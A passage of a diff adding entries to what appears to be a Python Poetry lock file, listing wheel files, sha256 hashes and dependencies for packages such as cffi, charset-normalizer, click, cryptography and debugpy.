+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
+ {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
+ {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
+ {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+]
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+name = "charset-normalizer"
+version = "3.2.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"},
+ {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.4"
+description = "Composable command line interface toolkit"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"},
+ {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "cryptography"
+version = "41.0.2"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711"},
+ {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83"},
+ {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5"},
+ {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58"},
+ {file = "cryptography-41.0.2-cp37-abi3-win32.whl", hash = "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76"},
+ {file = "cryptography-41.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0"},
+ {file = "cryptography-41.0.2.tar.gz", hash = "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c"},
+]
+
+[package.dependencies]
+cffi = ">=1.12"
+
+[package.extras]
+docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
+docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"]
+nox = ["nox"]
+pep8test = ["black", "check-sdist", "mypy", "ruff"]
+sdist = ["build"]
+ssh = ["bcrypt (>=3.1.5)"]
+test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"]
+test-randomorder = ["pytest-randomly"]
+
+[[package]]
+name = "dataclasses-json"
+version = "0.5.9"
+description = "Easily serialize dataclasses to and from JSON"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "dataclasses-json-0.5.9.tar.gz", hash = "sha256:e9ac87b73edc0141aafbce02b44e93553c3123ad574958f0fe52a534b6707e8e"},
+ {file = "dataclasses_json-0.5.9-py3-none-any.whl", hash = "sha256:1280542631df1c375b7bc92e5b86d39e06c44760d7e3571a537b3b8acabf2f0c"},
+]
+
+[package.dependencies]
+marshmallow = ">=3.3.0,<4.0.0"
+marshmallow-enum = ">=1.5.1,<2.0.0"
+typing-inspect = ">=0.4.0"
+
+[package.extras]
+dev = ["flake8", "hypothesis", "ipython", "mypy (>=0.710)", "portray", "pytest (>=7.2.0)", "setuptools", "simplejson", "twine", "types-dataclasses", "wheel"]
+
+[[package]]
+name = "debugpy"
+version = "1.6.7"
+description = "An implementation of the Debug Adapter Protocol for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"},
+ {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"},
